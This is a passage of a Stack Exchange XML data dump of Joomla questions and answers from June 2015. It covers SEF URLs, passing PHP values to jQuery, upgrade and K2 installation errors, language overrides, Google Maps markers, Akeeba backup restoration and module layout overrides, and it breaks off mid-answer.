  <row Id="10553" PostTypeId="2" ParentId="10524" CreationDate="2015-06-24T07:32:25.480" Score="0" Body="&lt;p&gt;Goto backend -&gt; Extension -&gt; Module manager -&gt; New -&gt; Articles category -&gt; Filtering options -&gt; See the category field here you can add more than one sub categories.&lt;/p&gt;&#xA;" OwnerUserId="5404" LastActivityDate="2015-06-24T07:32:25.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10555" PostTypeId="1" CreationDate="2015-06-24T09:25:55.197" Score="4" ViewCount="2316" Body="&lt;p&gt;I am making a custom component and I dont want the name of the component on the URL when component loads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The URL is coming like this :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://example.com/component/componentName/view=viewName&quot; rel=&quot;nofollow&quot;&gt;http://example.com/component/componentName/view=viewName&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I don't want to show &lt;strong&gt;[component/componentName]&lt;/strong&gt; in the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to hide this??&#xA;Or any method by which I can do this??  &lt;/p&gt;&#xA;" OwnerUserId="3637" LastEditorUserId="126" LastEditDate="2015-09-05T08:46:56.007" LastActivityDate="2018-04-13T07:05:20.563" Title="How to remove component name from URL?" Tags="|joomla-3.x|component|view|controller|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10556" PostTypeId="2" ParentId="10555" CreationDate="2015-06-24T09:36:49.987" Score="1" Body="&lt;p&gt;Let you know Goto backend -&gt; Menus -&gt; Add new menu item -&gt; Here you can create the one menuitem with title and alias that alias name display in url.&#xA;&lt;strong&gt;(or)&lt;/strong&gt; &lt;br&gt;&#xA;Try like this Goto backend -&gt; System -&gt; Global configuration -&gt; Turn on the sef url.&lt;/p&gt;&#xA;" OwnerUserId="5404" LastActivityDate="2015-06-24T09:36:49.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10557" PostTypeId="2" ParentId="10523" CreationDate="2015-06-24T09:43:09.390" Score="1" Body="&lt;p&gt;Adding pagination to the module as Manny suggest is a good way to solve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can duplicate the mod_k2_content to mod_k2_contentPagination&#xA;and do the following modifications :&#xA;&lt;a href=&quot;http://www.joomreem.com/joomla-developer-s-tips-and-tricks/item/56-k2-content-module-with-pagination-jquery-flavor.html&quot; rel=&quot;nofollow&quot;&gt;http://www.joomreem.com/joomla-developer-s-tips-and-tricks/item/56-k2-content-module-with-pagination-jquery-flavor.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5378" LastActivityDate="2015-06-24T09:43:09.390" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10558" PostTypeId="1" AcceptedAnswerId="10560" CreationDate="2015-06-24T10:45:22.017" Score="4" ViewCount="1942" Body="&lt;p&gt;I need to pass a php var to a jQuery script. They are in separate files, one file to php code and another file to jQuery scripts. Is there a way of doing it? I am using Joomla 3.4.1. I just need to get Joomla version in the jQuery script.&lt;/p&gt;&#xA;" OwnerUserId="2087" LastActivityDate="2018-01-22T19:55:09.300" Title="Pass var to jQuery script" Tags="|joomla-3.x|php|jquery|variable|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10559" PostTypeId="2" ParentId="10558" CreationDate="2015-06-24T10:59:35.410" Score="1" Body="&lt;p&gt;You can achieve this with the use of a global function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in your JS file, you would do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;    var myFunction;&#xA;&#xA;    jQuery(document).ready(function($){&#xA;&#xA;        myFunction = function(version)&#xA;        {&#xA;            console.log(version);&#xA;&#xA;            // You have the version here&#xA;        }&#xA;&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, in your &lt;strong&gt;default.php&lt;/strong&gt;, you can get the Joomla version and call the function like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    $jversion = new JVersion(); &#xA;    $short    = $jversion-&amp;gt;getShortVersion();&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;script&amp;gt;&#xA;    jQuery(document).ready(function($){&#xA;&#xA;        myFunction('&amp;lt;?php echo $short; ?&amp;gt;');&#xA;&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-06-24T10:59:35.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10560" PostTypeId="2" ParentId="10558" CreationDate="2015-06-24T11:15:48.400" Score="4" Body="&lt;p&gt;Javascript have global variables : &lt;a href=&quot;http://www.w3schools.com/js/js_scope.asp&quot; rel=&quot;nofollow&quot;&gt;http://www.w3schools.com/js/js_scope.asp&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;inside you php file you call: &lt;em&gt;JFactory::getDocument();&lt;/em&gt; and you can now add some javascript at the current page with &lt;em&gt;addScriptDeclaration()&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example, we declare a &lt;em&gt;myJoomlaVersion&lt;/em&gt; variable&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;$php &#xA;$jdocument = JFactory::getDocument(); &#xA;$jversion = new JVersion(); &#xA;$short = $jversion-&amp;gt;getShortVersion(); &#xA;&#xA;// Add Javascript &#xA;$jdocument-&amp;gt;addScriptDeclaration(' var myJoomlaVersion = '.$short ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More info about &quot;Inserting inline scripts from within a PHP file&quot; &lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_JavaScript_and_CSS_to_the_page&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Adding_JavaScript_and_CSS_to_the_page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can use this variable into your javascript.&lt;/p&gt;&#xA;" OwnerUserId="5378" LastEditorUserId="5378" LastEditDate="2015-06-25T14:47:08.373" LastActivityDate="2015-06-25T14:47:08.373" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10562" PostTypeId="1" AcceptedAnswerId="10563" CreationDate="2015-06-24T14:23:07.850" Score="2" ViewCount="6294" Body="&lt;p&gt;Trying to update a 2.5.16 site to 2.5.28 then to 3.4.1 however when I follow the official guide &lt;a href=&quot;https://docs.joomla.org/Joomla_2.5_to_3.x_Step_by_Step_Migration&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; I see the following error message popup on screen when clicking 'write files directly'.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The archive file is corrupt, truncated or archive parts are missing&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I ftpd into my site and noticed that I had no &lt;code&gt;/tmp&lt;/code&gt; folder (no idea why), so I created (755 permissions) one and re-tried however the error persists. I have cleared cache, purges cache, logged in/out also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's definitley an issue with the remote host (1and1) because I am able to copy the site to my local XAMPP setup and upgrade with no issues. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like my &lt;code&gt;/tmp&lt;/code&gt; and &lt;code&gt;/log&lt;/code&gt; paths weren't set correctly (I wasn't using the hosts absolute root path). Having set this and tried to to 3.4.1 via the extension manager, it stopps at 26% and gives the fowwowing error;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;unable to open index.html for writing&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Accessing the homepage (blank) I am receiving; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: JControllerBase cannot implement JController - it is not&#xA;  an interface in myDomain/htdocs/libraries/joomla/controller/base.php&#xA;  on line 18&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Most likely issues with the &lt;code&gt;/log&lt;/code&gt; folder as described &lt;a href=&quot;https://www.akeebabackup.com/support/site-restoration/12473-problems-with-1a1.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; although I will post back (when I've tried @Lodders suggestion!).&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2015-06-25T07:21:37.920" LastActivityDate="2016-04-06T13:28:11.050" Title="Archive file is corrupt, truncated or archive parts are missing" Tags="|joomla-3.x|joomla-2.5|installation|update|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10563" PostTypeId="2" ParentId="10562" CreationDate="2015-06-24T15:38:47.100" Score="2" Body="&lt;p&gt;&lt;strong&gt;To answer your first question regarding the issue with the temp directory:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, this can sometimes be the issue. The tmp directory is required as it stores a copy of the extension zip for Joomla to then extract and move the files to the appropriate directories, therefore not having it defined correctly means Joomla can't process the zip file you're uploading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;As for the log directory:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This directory is used to store log files that are created with Joomla &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JLog.html&quot; rel=&quot;nofollow&quot;&gt;JLog&lt;/a&gt; class. If this is not set correctly, you will get the following message as shown in your question:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;could not open log for writing&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-06-24T15:38:47.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10564" PostTypeId="1" AcceptedAnswerId="10566" CreationDate="2015-06-24T16:39:40.213" Score="1" ViewCount="79" Body="&lt;p&gt;When you develop the back end of a component, you can add a couple of lines in the addSubmenu function of the component helper to use the category management interface:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyComponentHelper extends JHelperContent&#xA;{&#xA;  public static function addSubmenu($vName = 'myitems')&#xA;  {&#xA;    JHtmlSidebar::addEntry(&#xA;      JText::_('COM_MC_SUBMENU_MYITEMS'),&#xA;      'index.php?option=com_mycomponent',&#xA;      $vName == 'myitems'&#xA;    );&#xA;    JHtmlSidebar::addEntry(&#xA;      JText::_('COM_MC_SUBMENU_MYCATEGORIES1'),&#xA;      'index.php?option=com_categories&amp;amp;extension=com_mycomponent.categories1',&#xA;      $vName == 'mycategories1'&#xA;    );&#xA;    JHtmlSidebar::addEntry(&#xA;      JText::_('COM_MC_SUBMENU_MYCATEGORIES2'),&#xA;      'index.php?option=com_categories&amp;amp;extension=com_mycomponent.categories2',&#xA;      $vName == 'mycategories2'&#xA;    );&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will generate a menu in your sidebar with 3 items. The first one linking to whatever you develop and the next 2 linking to the Joomla category management interface. &#xA;Everything is already done for you, you have got a CRUD interface with version, access, basic publishing and language management in place for your back end in, literally, 10 min (and that's because I am not a fast typer). Add to that a a couple of lines in your localization file and the wording is even customized to your liking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For very simple elements where you need ID, title and description, that's simply powerful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, is it possible to do exactly the same thing but without the tree structure of the categories ?&lt;/p&gt;&#xA;" OwnerUserId="1563" LastActivityDate="2015-06-25T04:35:56.560" Title="When developing a component, is there a default back-end item that you can use the same way as categories but without the tree structure?" Tags="|joomla-3.x|component|category|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10565" PostTypeId="2" ParentId="10540" CreationDate="2015-06-24T18:42:51.983" Score="1" Body="&lt;p&gt;The fatal error comes from &quot;&lt;a href=&quot;http://www.jtsinstitute.com/plugins/content/module/module.xml&quot; rel=&quot;nofollow&quot;&gt;load module into article&lt;/a&gt;&quot; content plugin by Carsten Engel. It was written in July 2011 for Joomla 1.5. It will not work. Uninstall it. Or update it to a current version from &lt;a href=&quot;http://www.pages-and-items.com/extensions/load-module-into-article&quot; rel=&quot;nofollow&quot;&gt;the authors webpage&lt;/a&gt;. That would probably keep any articles where you use it working correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get rid of the strict standards errors by updating the social login plugin into version compatible with PHP 5.4 or by disabling error reporting.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastEditorUserId="2309" LastEditDate="2015-06-24T18:48:44.403" LastActivityDate="2015-06-24T18:48:44.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10566" PostTypeId="2" ParentId="10564" CreationDate="2015-06-24T18:59:53.387" Score="1" Body="&lt;p&gt;There is FoF which is bundled withing Joomla 3. This framework allows you to create components with little code. See &lt;a href=&quot;https://www.akeebabackup.com/documentation/fof/introducing-fof.html&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However it's still more work than what you see for the categories. The reason is that categories are handled by an own component &lt;code&gt;com_categories&lt;/code&gt;. You basically just pass a filter to it.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2015-06-24T18:59:53.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10567" PostTypeId="1" AcceptedAnswerId="10613" CreationDate="2015-06-24T19:54:37.963" Score="0" ViewCount="376" Body="&lt;p&gt;I'm trying to install K2 component, cause it's necessary to launch News Show Pro GK5. But I always have errors connected with tables, like this &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Table 'solitaire.sw_k2_categories' doesn't exist SQL=SHOW FULL COLUMNS FROM&#xA;  &lt;code&gt;sw_k2_categories&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Table 'solitaire.sw_k2_items' doesn't exist SQL=SHOW FULL COLUMNS FROM&#xA;  &lt;code&gt;sw_k2_items&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When I manually created first table, it shows another one. It seems that something works incorrect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to solve it? I use Joomla 3.4.1, and K2 version 2.6.9.&lt;/p&gt;&#xA;" OwnerUserId="5470" LastActivityDate="2015-06-27T21:47:21.873" Title="Can't install K2 component" Tags="|component|k2|joomla-3.4|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10568" PostTypeId="2" ParentId="10567" CreationDate="2015-06-24T20:59:48.650" Score="0" Body="&lt;p&gt;Your MySQL user does not have administrative permissions to check tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can proceed with the installation with a full MySQL administrator, and in a second step assign a different MySQL user with restricted INSERT/UPDATE/DELETE/SELECT permissions.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-06-24T20:59:48.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10571" PostTypeId="2" ParentId="10567" CreationDate="2015-06-25T05:05:48.767" Score="0" Body="&lt;p&gt;Can you delete the all existing k2 component tables in mysql then once again you can install and check it.&#xA;If this doesn't work, then make sure that permissions to the administrator mysql and refer this &lt;a href=&quot;https://joomla.stackexchange.com/questions/7164/error-1146-while-installing-k2-extension&quot;&gt;Error 1146 while installing K2 extension&lt;/a&gt; it will helps&lt;/p&gt;&#xA;" OwnerUserId="5404" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-06-25T05:16:09.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10572" PostTypeId="1" CreationDate="2015-06-25T05:48:23.107" Score="1" ViewCount="814" Body="&lt;p&gt;I implemented the &lt;a href=&quot;http://www.mapsplugin.com/Google-Maps/Documentation-of-plugin-Googlemap/parameters-of-plugin-google-maps.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google Maps plugin by Reumer Tech&lt;/a&gt; on my client's &lt;a href=&quot;http://www.wilddusk.com/contacts&quot; rel=&quot;nofollow noreferrer&quot;&gt;website&lt;/a&gt;.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need help regarding how to add multiple locations (main office, branch office) to the map. &lt;/p&gt;&#xA;" OwnerUserId="2203" LastEditorUserId="9471" LastEditDate="2018-07-16T04:31:09.423" LastActivityDate="2018-07-16T04:31:09.423" Title="Help regarding adding multiple locations to plugin Google Maps" Tags="|xmap|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="10573" PostTypeId="1" CreationDate="2015-06-25T07:11:20.417" Score="1" ViewCount="995" Body="&lt;p&gt;Implemented k2 extension on client's website. Would like to know how to remove default term &quot;Children Categories&quot; and give it a different title (&lt;a href=&quot;http://www.wilddusk.com/wild-india&quot; rel=&quot;nofollow&quot;&gt;http://www.wilddusk.com/wild-india&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="2203" LastActivityDate="2015-06-25T15:32:57.033" Title="k2: How to remove default term &quot;Children Categories&quot; and give it a different title" Tags="|k2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10574" PostTypeId="2" ParentId="10573" CreationDate="2015-06-25T07:14:13.967" Score="0" Body="&lt;p&gt;It's in K2 language file (/language/en-GB/en-GB.com_k2.ini).&#xA;Search 'CHILDREN CATEGORIES' and change the text whatever you want. &lt;/p&gt;&#xA;" OwnerUserId="5404" LastActivityDate="2015-06-25T07:14:13.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10575" PostTypeId="2" ParentId="10572" CreationDate="2015-06-25T08:58:21.707" Score="1" Body="&lt;p&gt;You have to use &lt;code&gt;kml&lt;/code&gt; parameter to have multiple markers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example map with &lt;a href=&quot;https://en.wikipedia.org/wiki/Keyhole_Markup_Language&quot; rel=&quot;nofollow&quot;&gt;KML&lt;/a&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{mosmap kml='http://your.joomla.com/media/markers.kml'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is online KML generator &lt;a href=&quot;http://www.mapmash.in/kmlpoint.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Just create KML and save it to your Joomla! site. Then edit &lt;code&gt;{mosmap}&lt;/code&gt; code.&lt;/p&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2015-06-25T08:58:21.707" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10576" PostTypeId="2" ParentId="9827" CreationDate="2015-06-25T09:25:41.073" Score="-2" Body="&lt;p&gt;It will repeat the option in fixed number of times&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;    &amp;lt;form&amp;gt;&#xA;         &amp;lt;field name=&quot;age&quot; type=&quot;list&quot;&#xA;            default=&quot;1&quot;&#xA;            description=&quot;age&quot;&#xA;            label=&quot;Age&quot;&#xA;            size=&quot;1&quot;&#xA;        &amp;gt;&#xA;    &amp;lt;?php&#xA;    for($i=1; $i&amp;lt;=100;$i++)&#xA;    {&#xA;    echo &quot; &amp;lt;option value=&quot;$i&quot;&amp;gt;$i&amp;lt;/option&amp;gt; &quot;;&#xA;    } &#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5404" LastEditorUserId="5404" LastEditDate="2015-06-26T04:23:07.113" LastActivityDate="2015-06-26T04:23:07.113" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10577" PostTypeId="1" AcceptedAnswerId="10580" CreationDate="2015-06-25T10:33:58.110" Score="0" ViewCount="110" Body="&lt;p&gt;Is there a module for Joomla 3 that does the same that this module does &lt;a href=&quot;https://github.com/Pagawa/PgwSlider&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Pagawa/PgwSlider&lt;/a&gt; or any similar alternatives?&lt;/p&gt;&#xA;" OwnerUserId="5214" LastActivityDate="2015-06-25T15:48:04.740" Title="PgwSlider equivalent for Joomla 3" Tags="|joomla-3.x|module|css|content|jhtml|" AnswerCount="1" CommentCount="2" ClosedDate="2015-06-25T18:58:05.593" ContentLicense="CC BY-SA 3.0" />
  <row Id="10578" PostTypeId="1" CreationDate="2015-06-25T10:45:40.597" Score="0" ViewCount="106" Body="&lt;p&gt;I have made the submenus with 'menu alias' type links, but when I go to a page, it won't give it the state 'active'/'current' like it normally would on a normal 'single article'.&#xA;i have used a menu module called 'Mega Menu'. Many thanks.&lt;/p&gt;&#xA;" OwnerUserId="5439" LastActivityDate="2015-08-24T18:40:32.290" Title="Show state of menu as active" Tags="|joomla-3.x|module|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10579" PostTypeId="2" ParentId="10573" CreationDate="2015-06-25T15:32:57.033" Score="4" Body="&lt;p&gt;Dont change the orginal language files of an extensions. All your changes will be lost at the next update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead use &lt;strong&gt;Language overrides&lt;/strong&gt; &#xA;a tutorial how to use is there : &lt;a href=&quot;http://www.inmotionhosting.com/support/edu/joomla-3/languages/overrides&quot; rel=&quot;nofollow&quot;&gt;http://www.inmotionhosting.com/support/edu/joomla-3/languages/overrides&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5378" LastActivityDate="2015-06-25T15:32:57.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10580" PostTypeId="2" ParentId="10577" CreationDate="2015-06-25T15:48:04.740" Score="0" Body="&lt;p&gt;How about:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.nextendweb.com/demo/smartslider2/widget/thumbnail-vertical&quot; rel=&quot;nofollow&quot;&gt;Smart Slider 2 - Thumbnail vertical&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://demo.joomlaworks.net/frontpage-slideshow/movies-template&quot; rel=&quot;nofollow&quot;&gt;Frontpage Slideshow Movies template&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://demo.dj-extensions.com/dj-mediatools/&quot; rel=&quot;nofollow&quot;&gt;DJ-MediaTools&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... to mention just a few atop of my head...&lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2015-06-25T15:48:04.740" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10581" PostTypeId="2" ParentId="10578" CreationDate="2015-06-25T17:27:54.997" Score="1" Body="&lt;p&gt;That's likely a bug in the &quot;Mega Menu&quot; module. You can contact the developer of the extension and ask to get it fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The core menu module has been fixed with Joomla 3.3.4 (see &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/3911&quot; rel=&quot;nofollow&quot;&gt;PR 3911&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2015-06-25T17:27:54.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10582" PostTypeId="1" AcceptedAnswerId="10583" CreationDate="2015-06-25T17:54:41.310" Score="3" ViewCount="220" Body="&lt;p&gt;I've been asked to migrate a site over from a previous host and was sent a backup file; it was generated using Akeeba. My question is, how do use this backup to migrate to a fresh installation? Any help would be most appreciated. &lt;/p&gt;&#xA;" OwnerUserId="3347" LastEditorUserId="159" LastEditDate="2015-06-25T18:57:26.683" LastActivityDate="2015-06-26T09:30:29.453" Title="How to install on a new host an Akeeba backup?" Tags="|akeebabackup|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10583" PostTypeId="2" ParentId="10582" CreationDate="2015-06-25T18:23:38.230" Score="6" Body="&lt;p&gt;Sorry to provide just a link as answer, but the &lt;strong&gt;only&lt;/strong&gt; reasonable way I know of is to use &lt;a href=&quot;https://www.akeebabackup.com/documentation/akeeba-kickstart-documentation.html&quot;&gt;https://www.akeebabackup.com/documentation/akeeba-kickstart-documentation.html&lt;/a&gt;. &lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-kickstart.html&quot;&gt;Download link is here&lt;/a&gt;. The very short version is that you upload the kickstart.php and the backup to the root of the site and then use browser to go to yourdomain.tld/kickstart.php. This starts the extraction and later installation. But read the documentation first, it is not really difficult, but you do need to understand what the installer asks &lt;strong&gt;correctly&lt;/strong&gt; for it to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Incidentally since the things kickstart asks and requires to work are the same things required by Joomla installation, you can probably solve any issues by reading the Joomla installation documentation. But Akeeba generally has pretty thorough documentation, so everything you need to know should be behind the first link I provided.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2015-06-25T18:23:38.230" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10584" PostTypeId="1" AcceptedAnswerId="10778" CreationDate="2015-06-25T23:57:25.487" Score="0" ViewCount="28" Body="&lt;p&gt;I'm trying to find a way to use Zoo or K2 (or another CCK) to create a set of customer records. The customer would be able to enter BOTH their last name and an ID code into two fields in a search module. Only a match to BOTH fields would return a result (their record).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's hard to tell if Zoolanders ZooFilter or the various K2 filters out there can be forced to only display two fields and force a AND relationship between them.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2015-07-11T00:40:48.160" Title="Force an AND search between 2 fields in CCK?" Tags="|k2|joomla-3.4|zoo-cck|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10585" PostTypeId="1" CreationDate="2015-06-26T04:47:46.487" Score="2" ViewCount="1052" Body="&lt;p&gt;I have a dropdown menu as main navigation of my website and I want to create an offcanvas menu that displaying the same menu items as the dropdown menu items, for responsive design purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since dropdown menu items have different css classes then I created a template overriding for mod_menu called 'offcanvas'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, is it possible to force the 'offcanvas' override to the module so when the module call in the offcanvas possition it will use my 'offcanvas' override.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for something like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;menuposition&quot; layout=&quot;offcanvas&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2015-07-26T09:51:25.103" Title="Forcing Joomla module to be displayed in specific layout override" Tags="|module|template-override|module-display|module-style|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10586" PostTypeId="2" ParentId="10585" CreationDate="2015-06-26T07:00:56.667" Score="2" Body="&lt;p&gt;More info about layout override : &lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to change how the mod_menu Module is displayed, then you should copy :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PATH_TO_JOOMLA/modules/mod_menu/tmpl/default.php&#xA;to&#xA;TEMPLATE_NAME/html/mod_menu/default.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and modify the file in your template&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use the Template Manage to create overrides &lt;a href=&quot;https://docs.joomla.org/J3.x:How_to_use_the_Template_Manager/en#Creating_Overrides&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:How_to_use_the_Template_Manager/en#Creating_Overrides&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't have to modifiy the &lt;strong&gt;style&lt;/strong&gt; in your jdoc:include&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;menuposition&quot; style=&quot;xhtml&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More info about a &lt;strong&gt;style&lt;/strong&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/Customising_the_way_modules_are_displayed&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Customising_the_way_modules_are_displayed&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To define a custom output like &quot;offcanvas&quot;, you have to modify this file in your 